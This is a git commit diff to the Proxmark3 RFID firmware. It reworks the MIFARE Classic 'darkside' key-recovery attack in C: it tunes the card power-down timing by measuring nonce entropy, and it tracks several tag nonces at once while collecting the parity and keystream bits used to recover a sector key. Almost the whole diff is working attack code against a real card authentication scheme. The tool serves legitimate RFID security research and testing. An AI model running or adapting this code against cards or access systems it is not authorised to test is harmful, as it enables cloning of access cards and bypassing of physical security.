Major changes to 'hf mf mifare', see discussion here : http://www.proxmark.org/forum/viewtopic.php?pid=7492#p7492 . Support added for tracking multiple NT to attack, plus support for 'MF-tuning' - finding out what time the tag needs to power down (and reset nonce counter)

This commit is contained in:
martin.holst@gmail.com 2013-06-15 10:21:39 +00:00
parent 529488e87d
commit 401afb61c7

View file

@ -1811,18 +1811,220 @@ void ReaderIso14443a(UsbCommand * c)
LEDsoff(); LEDsoff();
} }
#define TEST_LENGTH 100
typedef struct mftest{
uint8_t nt[8];
uint8_t count;
}mftest ;
/**
*@brief Tunes the mifare attack settings. This method checks the nonce entropy when
*using a specified timeout.
*Different cards behave differently, some cards require up to a second to power down (and thus reset
*token generator), other cards are fine with 50 ms.
*
* @param time
* @return the entropy. A value of 100 (%) means that every nonce was unique, while a value close to
*zero indicates a low entropy: the given timeout is sufficient to power down the card.
*/
int TuneMifare(int time)
{
// Mifare AUTH
uint8_t mf_auth[] = { 0x60,0x00,0xf5,0x7b };
//uint8_t mf_nr_ar[] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET); // was 3560 - tied to other size changes
iso14443a_setup();
int TIME1=time;
int TIME2=2000;
uint8_t uid[8];
uint32_t cuid;
byte_t nt[4];
Dbprintf("Tuning... testing a delay of %d ms",time);
mftest nt_values[TEST_LENGTH];
int nt_size = 0;
int i = 0;
for(i = 0 ; i< 100 ; i++)
{
LED_C_OFF();
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
SpinDelay(TIME1);
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
LED_C_ON();
SpinDelayUs(TIME2);
if(!iso14443a_select_card(uid, NULL, &cuid)) continue;
// Transmit MIFARE_CLASSIC_AUTH
ReaderTransmit(mf_auth, sizeof(mf_auth));
// Receive the (16 bit) "random" nonce
if (!ReaderReceive(receivedAnswer)) continue;
memcpy(nt, receivedAnswer, 4);
//store it
int already_stored = 0;
for(int i = 0 ; i < nt_size && !already_stored; i++)
{
if( memcmp(nt, nt_values[i].nt, 4) == 0)
{
nt_values[i].count++;
already_stored = 1;
}
}
if(!already_stored)
{
mftest* ptr= &nt_values[nt_size++];
//Clear it before use
memset(ptr, 0, sizeof(mftest));
memcpy(ptr->nt, nt, 4);
ptr->count = 1;
}
if(BUTTON_PRESS())
{
Dbprintf("Tuning aborted prematurely");
break;
}
}
/*
for(int i = 0 ; i < nt_size;i++){
mftest x = nt_values[i];
Dbprintf("%d,%d,%d,%d : %d",x.nt[0],x.nt[1],x.nt[2],x.nt[3],x.count);
}
*/
int result = nt_size *100 / i;
Dbprintf(" ... results for %d ms : %d %",time, result);
return result;
}
//----------------------------------------------------------------------------- //-----------------------------------------------------------------------------
// Read an ISO 14443a tag. Send out commands and store answers. // Read an ISO 14443a tag. Send out commands and store answers.
// //
//----------------------------------------------------------------------------- //-----------------------------------------------------------------------------
#define STATE_SIZE 100
typedef struct AttackState{
byte_t nt[4];
//byte_t nt_attacked[4];
byte_t par_list[8];
byte_t ks_list[8];
byte_t par;
byte_t par_low;
byte_t nt_diff;
uint8_t mf_nr_ar[8];
} AttackState;
int continueAttack(AttackState* pState,uint8_t* receivedAnswer)
{
// Transmit reader nonce and reader answer
ReaderTransmitPar(pState->mf_nr_ar, sizeof(pState->mf_nr_ar),pState->par);
// Receive 4 bit answer
int len = ReaderReceive(receivedAnswer);
if (!len)
{
if (pState->nt_diff == 0)
{
pState->par++;
} else {
pState->par = (((pState->par >> 3) + 1) << 3) | pState->par_low;
}
return 2;
}
if(pState->nt_diff == 0)
{
pState->par_low = pState->par & 0x07;
}
//Dbprintf("answer received, parameter (%d), (memcmp(nt, nt_no)=%d",parameter,memcmp(nt, nt_noattack, 4));
//if ( (parameter != 0) && (memcmp(nt, nt_noattack, 4) == 0) ) continue;
//isNULL = 0;//|| !(nt_attacked[0] == 0) && (nt_attacked[1] == 0) && (nt_attacked[2] == 0) && (nt_attacked[3] == 0);
//
// if ( /*(isNULL != 0 ) && */(memcmp(nt, nt_attacked, 4) != 0) ) continue;
//led_on = !led_on;
//if(led_on) LED_B_ON(); else LED_B_OFF();
pState->par_list[pState->nt_diff] = pState->par;
pState->ks_list[pState->nt_diff] = receivedAnswer[0] ^ 0x05;
// Test if the information is complete
if (pState->nt_diff == 0x07) {
return 0;
}
pState->nt_diff = (pState->nt_diff + 1) & 0x07;
pState->mf_nr_ar[3] = pState->nt_diff << 5;
pState->par = pState->par_low;
return 1;
}
void reportResults(uint8_t uid[8],AttackState *pState, int isOK)
{
LogTrace(pState->nt, 4, 0, GetParity(pState->nt, 4), TRUE);
LogTrace(pState->par_list, 8, 0, GetParity(pState->par_list, 8), TRUE);
LogTrace(pState->ks_list, 8, 0, GetParity(pState->ks_list, 8), TRUE);
byte_t buf[48];
memcpy(buf + 0, uid, 4);
if(pState != NULL)
{
memcpy(buf + 4, pState->nt, 4);
memcpy(buf + 8, pState->par_list, 8);
memcpy(buf + 16, pState->ks_list, 8);
}
LED_B_ON();
cmd_send(CMD_ACK,isOK,0,0,buf,48);
LED_B_OFF();
// Thats it...
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
LEDsoff();
tracing = TRUE;
if (MF_DBGLEVEL >= 1) DbpString("COMMAND mifare FINISHED");
}
void ReaderMifare(uint32_t parameter) void ReaderMifare(uint32_t parameter)
{ {
/**
*First, we tune it.
**/
int entropy = 100;
int time = 25;
entropy = TuneMifare(time);
while(entropy > 50 && time < 2000){
//Increase timeout, but never more than 500ms at a time
time = MIN(time*2, time+500);
entropy = TuneMifare(time);
}
if(entropy > 50){
Dbprintf("OBS! This card has high entropy (%d) and slow power-down. This may take a while", entropy);
}
Dbprintf("Using power-down-time of %d ms, entropy %d", time, entropy);
/**
*Allocate our state-table and initialize with zeroes
**/
AttackState states[STATE_SIZE] ;
Dbprintf("Memory allocated ok! (%d bytes)",STATE_SIZE*sizeof(AttackState) );
memset(states, 0, STATE_SIZE*sizeof(AttackState));
// Mifare AUTH // Mifare AUTH
uint8_t mf_auth[] = { 0x60,0x00,0xf5,0x7b }; uint8_t mf_auth[] = { 0x60,0x00,0xf5,0x7b };
uint8_t mf_nr_ar[] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET); // was 3560 - tied to other size changes uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET); // was 3560 - tied to other size changes
traceLen = 0;
traceLen = 0;
tracing = false; tracing = false;
iso14443a_setup(); iso14443a_setup();
@ -1831,37 +2033,26 @@ void ReaderMifare(uint32_t parameter)
LED_B_OFF(); LED_B_OFF();
LED_C_OFF(); LED_C_OFF();
byte_t nt_diff = 0;
LED_A_OFF(); LED_A_OFF();
byte_t par = 0;
//byte_t par_mask = 0xff;
byte_t par_low = 0;
int led_on = TRUE;
uint8_t uid[8]; uint8_t uid[8];
uint32_t cuid; uint32_t cuid;
tracing = FALSE; byte_t nt_noattack[4];
byte_t nt[4] = {0,0,0,0}; num_to_bytes(parameter, 4, nt_noattack);
byte_t nt_attacked[4], nt_noattack[4]; byte_t nt[4];
byte_t par_list[8] = {0,0,0,0,0,0,0,0}; int nts_attacked= 0;
byte_t ks_list[8] = {0,0,0,0,0,0,0,0}; //Keeps track of progress (max value of nt_diff for our states)
num_to_bytes(parameter, 4, nt_noattack); int progress = 0;
int isOK = 0, isNULL = 0; int high_entropy_warning_issued = 0;
while(!BUTTON_PRESS())
while(TRUE)
{ {
LED_C_OFF(); LED_C_OFF();
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
SpinDelay(50); SpinDelay(time);
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD); FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
LED_C_ON(); LED_C_ON();
SpinDelay(2); SpinDelay(2);
// Test if the action was cancelled
if(BUTTON_PRESS()) {
break;
}
if(!iso14443a_select_card(uid, NULL, &cuid)) continue; if(!iso14443a_select_card(uid, NULL, &cuid)) continue;
// Transmit MIFARE_CLASSIC_AUTH // Transmit MIFARE_CLASSIC_AUTH
@ -1869,76 +2060,80 @@ void ReaderMifare(uint32_t parameter)
// Receive the (16 bit) "random" nonce // Receive the (16 bit) "random" nonce
if (!ReaderReceive(receivedAnswer)) continue; if (!ReaderReceive(receivedAnswer)) continue;
memcpy(nt, receivedAnswer, 4); memcpy(nt, receivedAnswer, 4);
// Transmit reader nonce and reader answer //Now we have the NT. Check if this NT is already under attack
ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar),par); AttackState* pState = NULL;
int i = 0;
for(i = 0 ; i < nts_attacked && pState == NULL; i++)
{
if( memcmp(nt, states[i].nt, 4) == 0)
{
//we have it
pState = &states[i];
//Dbprintf("Existing state found (%d)", i);
}
}
// Receive 4 bit answer if(pState == NULL){
if (ReaderReceive(receivedAnswer)) if(nts_attacked < STATE_SIZE )
{ {
if ( (parameter != 0) && (memcmp(nt, nt_noattack, 4) == 0) ) continue; //Initialize a new state
pState = &states[nts_attacked++];
//Clear it before use
memset(pState, 0, sizeof(AttackState));
memcpy(pState->nt, nt, 4);
i = nts_attacked;
//Dbprintf("New state created, nt=");
}else if(!high_entropy_warning_issued){
/**
*If we wound up here, it means that the state table was eaten up by potential nonces. This could be fixed by
*increasing the size of the state buffer, however, it points to some other problem. Ideally, we should get the same nonce
*every time. Realistically we should get a few different nonces, but if we get more than 50, there is probably somehting
*else that is wrong. An attack using too high nonce entropy will take **LONG** time to finish.
*/
DbpString("WARNING: Nonce entropy is suspiciously high, something is wrong. Check timeouts (and perhaps increase STATE_SIZE)");
high_entropy_warning_issued = 1;
}
}
isNULL = !(nt_attacked[0] == 0) && (nt_attacked[1] == 0) && (nt_attacked[2] == 0) && (nt_attacked[3] == 0);
if ( (isNULL != 0 ) && (memcmp(nt, nt_attacked, 4) != 0) ) continue;
if (nt_diff == 0)
{
LED_A_ON();
memcpy(nt_attacked, nt, 4);
//par_mask = 0xf8;
par_low = par & 0x07;
}
led_on = !led_on; if(pState == NULL) continue;
if(led_on) LED_B_ON(); else LED_B_OFF();
par_list[nt_diff] = par;
ks_list[nt_diff] = receivedAnswer[0] ^ 0x05;
// Test if the information is complete int result = continueAttack(pState, receivedAnswer);
if (nt_diff == 0x07) {
isOK = 1;
break;
}
nt_diff = (nt_diff + 1) & 0x07; if(result == 1){
mf_nr_ar[3] = nt_diff << 5; //One state progressed another step
par = par_low; if(pState->nt_diff > progress)
} else { {
if (nt_diff == 0) progress = pState->nt_diff;
{ //Alert the user
par++; Dbprintf("Recovery progress: %d/8, NTs attacked: %d ", progress,nts_attacked );
} else { }
par = (((par >> 3) + 1) << 3) | par_low; //Dbprintf("State increased to %d in state %d", pState->nt_diff, i);
} }
} else if(result == 2){
} //Dbprintf("Continue attack no answer, par is now %d", pState->par);
}
LogTrace(nt, 4, 0, GetParity(nt, 4), TRUE); else if(result == 0){
LogTrace(par_list, 8, 0, GetParity(par_list, 8), TRUE); //uint64_t par_list = bytes_to_num((uint8_t*)&pState->par_list, 8);
LogTrace(ks_list, 8, 0, GetParity(ks_list, 8), TRUE); //uint64_t ks_list = bytes_to_num((uint8_t*)&pState->ks_list, 8);
//uint32_t xnt = bytes_to_num((uint8_t*)&pState->nt,4 );
byte_t buf[48]; //uint32_t xuid = (uint32_t)bytes_to_num((uint8_t*)&uid, 4);
// UsbCommand ack = {CMD_ACK, {isOK, 0, 0}}; //Dbprintf("\n#nuid(%08x) nt(%08x) par(%016x) ks(%016x)",xuid,xnt,par_list,ks_list);
memcpy(buf + 0, uid, 4); //Dbprintf("\n./nonce2key %08x %08x %016x %016x\n",xuid,xnt,par_list,ks_list);
memcpy(buf + 4, nt, 4); //Dbprintf("Finished");
memcpy(buf + 8, par_list, 8); reportResults(uid,pState,1);
memcpy(buf + 16, ks_list, 8); return;
//memset(pState, 0, sizeof(AttackState));
LED_B_ON(); //memcpy(pState->nt, nt, 4);
cmd_send(CMD_ACK,isOK,0,0,buf,48); //Dbprintf("State reset for state %d!", i);
// UsbSendPacket((uint8_t *)&ack, sizeof(UsbCommand)); //return;
LED_B_OFF(); }
}
// Thats it... reportResults(uid,NULL,0);
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
LEDsoff();
tracing = TRUE;
if (MF_DBGLEVEL >= 1) DbpString("COMMAND mifare FINISHED");
} }
//----------------------------------------------------------------------------- //-----------------------------------------------------------------------------
// MIFARE 1K simulate. // MIFARE 1K simulate.
// //